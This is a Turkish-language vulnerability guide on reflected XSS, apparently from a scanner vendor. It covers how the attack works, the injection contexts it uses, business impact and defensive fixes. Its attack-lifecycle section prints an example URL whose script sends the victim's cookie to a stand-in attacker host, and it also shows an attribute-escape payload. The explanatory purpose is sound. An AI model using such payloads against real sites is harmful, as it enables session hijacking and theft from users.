Genel Bakış
Yansıtılmış Cross-Site Scripting (XSS), saldırganın kötü amaçlı betik kodunu bir HTTP isteğinin parçası olarak — genellikle URL sorgu parametresi, yol segmenti veya POST alanı aracılığıyla — sunucuya gönderdiği ve sunucunun bu girdiyi herhangi bir kodlama yapmadan doğrudan HTTP yanıtına dahil ettiği bir enjeksiyon açığı sınıfıdır. Kurbanın tarayıcısı yanıtı ayrıştırdığında, enjekte edilen betiği hedef kaynağın güvenlik bağlamında çalıştırır.
Depolanan XSS'nin aksine, yansıtılmış yükler sunucuda kalıcı olarak saklanmaz. Saldırı geçici olarak gerçekleşir; genellikle e-posta, sosyal medya veya bir yönlendirici aracılığıyla paylaşılan kötü amaçlı bir köprü bağlantısı ile iletilir. Bu "kalıcı olmayan" nitelik, her kurbanın hazırlanmış URL'yi ayrı ayrı yüklemesi gerektiği anlamına gelir.
Nasıl çalışır?
Saldırı yaşam döngüsü dört aşamadan oluşur:
- Yük oluşturma: Saldırgan, parametrelerinde betik yükü içeren bir URL oluşturur; örneğin:
https://example.com/search?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script> - İletim: Kurban bağlantıya tıklamaya ikna edilir (kimlik avı e-postası, kısaltılmış URL, açık yönlendirme vb.).
- Sunucu yansıması: Uygulama
qparametresini okuyarak — örneğin "Aranan: …" paragrafı içinde — özel karakterleri HTML olarak kodlamadan doğrudan HTML yanıtına yazar. - Tarayıcı yürütmesi: Tarayıcı yanıtı ayrıştırır, enjekte edilen
<script>etiketini (ya da olay yöneticisini,javascript:URI'sini veya başka bir enjeksiyon bağlamını) bulur ve uygulamanın kaynağı altında çalıştırır.
Yaygın olarak istismar edilen enjeksiyon bağlamları şunlardır:
- HTML gövde bağlamı — Etiketler arasında kodlanmamış çıktı, ham etiket enjeksiyonuna izin verir.
- HTML öznitelik bağlamı — Tırnak işareti kullanılmadan etiket özniteliklerine eklenen değerler, öznitelik kaçışını mümkün kılar (örn.
" onmouseover="alert(1)). - JavaScript bağlamı — Bir
<script>bloğu veya satır içi olay yöneticisine JS dizesi kaçışı yapılmadan yazılan veriler, mantık enjeksiyonuna olanak tanır. - URL bağlamı — Saldırgan tarafından kontrol edilen href veya src değerleri
javascript:URI'lerini kabul edebilir. - CSS bağlamı — Stil özniteliklerinde yansıtılan değerler, eski tarayıcılarda expression() açığını veya veri sızıntısını tetikleyebilir.
Modern tarayıcılar, yerleşik XSS filtreleri yerine Content Security Policy'ye (CSP) güvenir. Karakter kodlama hileleri, HTML ayrıştırıcı tuhaflıkları veya DOM sink'leri kullanılarak gerçekleştirilen atlatmalar sürekli araştırma konusu olmaya devam etmektedir.
İş etkisi
Başarılı bir yansıtılmış XSS saldırısı, kurbanın tarayıcısında savunmasız uygulamanın kaynağı altında rastgele JavaScript çalıştırır. Somut sonuçlar şunlardır:
- Oturum ele geçirme:
HttpOnlybayrağı bulunmayan oturum çerezlerinin çalınması, kimlik bilgilerine gerek kalmadan hesabın tamamen ele geçirilmesine yol açar. - Kimlik bilgisi toplama: Enjekte edilen betikler sayfa DOM'unu yeniden yazarak sahte giriş formları sunabilir ve kullanıcı adı ile parolaları ele geçirebilir.
- Kötü amaçlı yazılım dağıtımı: Betik, kullanıcıları sessizce exploit kitine yönlendirebilir veya drive-by indirme işlemlerini tetikleyebilir.
- Veri sızdırma: DOM'da görünür olan hassas sayfa içeriği, CSRF belirteçleri veya API anahtarları saldırganın kontrolündeki altyapıya gönderilebilir.
- Sayfa tahrifi ve itibar kaybı: Sayfa içeriğinin görünür biçimde manipüle edilmesi, kullanıcıların markaya olan güvenini zedeleyebilir.
- Uyumluluk riski: Kişisel verileri etkileyen istismarlar, GDPR, HIPAA veya PCI-DSS kapsamında ihlal bildirimi yükümlülüklerini doğurabilir.
Saldırı, kalıcı sunucu ele geçirme yerine kullanıcı etkileşimi gerektirdiğinden sıklıkla hafife alınır. Ancak büyük ölçekli kimlik avı kampanyaları, tek bir yansıtılmış XSS uç noktasını binlerce kullanıcıyı etkileyecek biçimde silahlandırabilir.
Nasıl düzeltilir?
- Bağlama duyarlı çıktı kodlaması (birincil kontrol): HTML yanıtına eklemeden önce tüm güvenilmeyen verileri kodlayın. Her enjeksiyon bağlamı için uygun kodlama işlevini kullanın:
- HTML gövdesi: HTML varlık kodlaması (
&,<,>,",'). - HTML özniteliği: Öznitelik kodlaması uygulayın ve öznitelik değerlerini her zaman tırnak içine alın.
- JavaScript: JavaScript kodlaması (Unicode kaçış dizileri) kullanın veya güvenli bir JSON serileştiricisi tercih edin.
- URL parametreleri: Katı izin listesiyle yüzde kodlama uygulayın.
- HTML gövdesi: HTML varlık kodlaması (
- Otomatik kaçış yapan kanıtlanmış şablon motoru kullanın: Django şablonları, Jinja2 (otomatik kaçış açık), Razor, Thymeleaf ve Angular şablon motoru gibi çerçeveler varsayılan olarak kaçış yapar. Kesinlikle zorunlu olmadıkça otomatik kaçışı devre dışı bırakmaktan (
|safe,dangerouslySetInnerHTML,bypassSecurityTrustHtml) kaçının. - Katı bir Content Security Policy (CSP) uygulayın: Satır içi betiklere (
'unsafe-inline') izin vermeyen ve betik kaynaklarını bilinen, güvenilir kaynaklara kısıtlayan bir CSP başlığı (Content-Security-Policy) dağıtın. Nonce veya hash tabanlı bir CSP, kodlama eksik olduğunda dahi derinlemesine savunma sağlar. - Hatalı biçimlendirilmiş girdileri doğrulayın ve reddedin: Beklenen karakter veya format izin listesi kullanarak sunucu tarafında girdi doğrulaması uygulayın. İş mantığının izin verdiği durumlarda, kurallara uymayan girdileri temizlemek yerine reddedin.
- Güvenlik açısından hassas çerez özniteliklerini ayarlayın: Oturum çerezlerini
HttpOnly(JS erişimini engeller) veSecure(yalnızca TLS üzerinden iletim) olarak işaretleyin. Siteler arası istek riskini azaltmak içinSameSite=StrictveyaSameSite=Laxkullanın. X-XSS-Protectionbaşlığını etkinleştirin (yalnızca eski tarayıcılar için): Kullanımdan kaldırılmış olmasına rağmenX-XSS-Protection: 1; mode=blockayarı, eski Internet Explorer ve Chrome sürümlerinde temel XSS filtrelemeyi etkinleştirir. Bu, kodlamanın yerini tutmaz.- Zengin HTML'yi güvenilir bir kütüphane ile temizleyin: Uygulamanın HTML kabul edip oluşturması gerekiyorsa (örn. WYSIWYG düzenleyici), özel regex filtrelemesi yerine DOMPurify gibi iyi desteklenen ve izin listesi tabanlı bir HTML temizleme kütüphanesi kullanın.
- Düzenli güvenlik testleri yapın: Otomatik CI/CD hatlarına XSS test senaryoları ekleyin, tüm girdi/çıktı yollarında manuel sızma testleri gerçekleştirin ve üretim uç noktalarındaki yansıtılmış XSS açıklarını sürekli taramak için Sensagraph'ı kullanın.
Kaynaklar
- OWASP – Cross Site Scripting (XSS)
- OWASP Top 10 2021 – A03: Enjeksiyon
- OWASP XSS Önleme Kılavuzu
- MITRE CWE-79 – Web Sayfası Oluşturma Sırasında Girdinin Hatalı Nötrleştirilmesi
- MDN Web Docs – Content Security Policy (CSP)
- MDN Web Docs – Content-Security-Policy Başlık Referansı
- PortSwigger Web Security Academy – Yansıtılmış XSS
- DOMPurify – Güvenilir HTML Temizleme Kütüphanesi